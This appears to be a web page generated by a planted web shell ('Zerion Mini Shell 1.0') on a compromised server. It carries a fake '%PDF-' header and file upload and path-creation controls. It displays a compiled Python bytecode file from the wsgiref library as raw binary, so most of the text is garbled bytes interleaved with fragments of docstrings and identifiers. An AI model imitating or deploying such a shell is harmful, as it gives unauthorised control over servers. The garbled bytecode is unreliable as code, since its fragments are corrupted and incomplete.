%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.12/wsgiref/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.12/wsgiref/__pycache__/util.cpython-312.pyc

�

���f`��n�dZddlZgd�ZGd�d�Zd�Zd�Zd
d�Zd	�Zd
�Zhd�jZ
d�Zy)z$Miscellaneous WSGI-related Utilities�N)�FileWrapper�guess_scheme�application_uri�request_uri�shift_path_info�setup_testing_defaultsc�$�eZdZdZdd�Zd�Zd�Zy)rz1Wrapper to convert file-like objects to iterablesc�\�||_||_t|d�r|j|_yy)N�close)�filelike�blksize�hasattrr)�selfrr
s   �#/usr/lib/python3.12/wsgiref/util.py�__init__zFileWrapper.__init__s*�� ��
�����8�G�$�!���D�J�%�c��|S�N�)rs r�__iter__zFileWrapper.__iter__s���rc�`�|jj|j�}|r|St�r)r�readr
�
StopIteration)r�datas  r�__next__zFileWrapper.__next__s(���}�}�!�!�$�,�,�/����K��rN)i )�__name__�
__module__�__qualname__�__doc__rrrrrrrrs��;�(��rrc�,�|jd�dvryy)zMReturn a guess for whether 'wsgi.url_scheme' should be 'http' or 'https'
    �HTTPS)�yes�on�1�https�http)�get)�environs rrrs���{�{�7��/�/��rc��|ddz}ddlm}|jd�r	||dz
}n7||dz
}|ddk(r|dd	k7r|d
|dzz
}n|ddk7r|d
|dzz
}|||jd�xsd
d��z
}|S)z@Return the application's base URI (no PATH_INFO or QUERY_STRING)�wsgi.url_schemez://r��quote�	HTTP_HOST�SERVER_NAMEr%�SERVER_PORT�443�:�80�SCRIPT_NAME�/�latin1)�encoding)�urllib.parser,r')r(�urlr,s   rrr%s���
�#�
$�U�
*�C�"��{�{�;���w�{�#�#���w�}�%�%���$�%��0��}�%��.��s�W�]�3�3�3���}�%��-��s�W�]�3�3�3���5����]�+�2�s�X�F�F�C��Jrc���t|�}ddlm}||jdd�dd��}|jd�s	||d	d
z
}n||z
}|r|jd�r|d|dzz
}|S)
zBReturn the full request URI, optionally including the query stringrr+�	PATH_INFO�z/;=,r5)�safer6r3�N�QUERY_STRING�?)rr7r,r')r(�
include_queryr8r,�	path_infos     rrr9su��
�'�
"�C�"��g�k�k�+�b�1���R�I��;�;�}�%��y���}����y�������^�4��s�W�^�,�,�,���Jrc��|jdd�}|sy|jd�}|ddD�cgc]
}|s�|dk7s�|��c}|dd|d}|d=|jdd�}tj|dz|z�}|j	d�r|dd}|s|j	d�s|dz
}||d<dj|�|d<|dk(rd}|Scc}w)	aZShift a name from PATH_INFO to SCRIPT_NAME, returning it

    If there are no remaining path segments in PATH_INFO, return None.
    Note: 'environ' is modified in-place; use a copy if you need to keep
    the original PATH_INFO or SCRIPT_NAME.

    Note: when PATH_INFO is just a '/', this returns '' and appends a trailing
    '/' to SCRIPT_NAME, even though empty path segments are normally ignored,
    and SCRIPT_NAME doesn't normally end in a '/'.  This is intentional
    behavior, to ensure that an application can tell the difference between
    '/x' and '/x/' when traversing to objects.
    r:r;Nr4r=����.r3)r'�split�	posixpath�normpath�endswith�join)r(rA�
path_parts�p�name�script_names      rrrFs������K��+�I�������%�J�#-�a��#3�F�a�q�Q�#�X��F�J�q����a�=�D��1�
��+�+�m�B�/�K��$�$�[��_�T�%9�:�K����C� �!�#�2�&����,�,�S�1��s���(�G�M�� �X�X�j�1�G�K���S�y����K��+Gs�C�C�Cc��|jdd�|jdd�|jd|d�|jdd�d|vr(d	|vr$|jdd
�|jd	d�|jdd
�|jdd�|jdd�|jdd�ddlm}m}|jd|��|jd|��|jdt	|��|ddk(r|jdd�y|ddk(r|jdd�yy)a:Update 'environ' with trivial defaults for testing purposes

    This adds various parameters required for WSGI, including HTTP_HOST,
    SERVER_NAME, SERVER_PORT, REQUEST_METHOD, SCRIPT_NAME, PATH_INFO,
    and all of the wsgi.* variables.  It only supplies default values,
    and does not replace any existing settings for these variables.

    This routine is intended to make it easier for unit tests of WSGI
    servers and applications to set up dummy environments.  It should *not*
    be used by actual WSGI servers or applications, since the data is fake!
    r.z	127.0.0.1�SERVER_PROTOCOLzHTTP/1.0r-�REQUEST_METHOD�GETr3r:r;r4zwsgi.version)r=rz
wsgi.run_oncerzwsgi.multithreadzwsgi.multiprocess)�StringIO�BytesIOz
wsgi.inputzwsgi.errorsr*r&r/r2r%r0N)�
setdefault�iorRrSr)r(rRrSs   rrros:�����}�[�1����(��4����{�7�=�#9�:����'��.��G�#��7�(B����=��,����;�s�+����~�u�-������*����)�1�-����*�A�.�$����|�W�Y�/����}�h�j�1����(��g�)>�?�� �!�6�)����=�$�/�	�"�	#�W�	,����=�%�0�
-r>�
keep-alive�transfer-encoding�proxy-authenticate�proxy-authorization�te�upgrade�trailers�
connectionc�4�t|j��S)z?Return true if 'header_name' is an HTTP/1.1 "Hop-by-Hop" header)�_hoppish�lower)�header_names r�
is_hop_by_hoprb�s���K�%�%�'�(�(r)T)rrF�__all__rrrrrr�__contains__r_rbrrr�<module>resM��*������$��(�'�R$1�P��,�		�)r

Zerion Mini Shell 1.0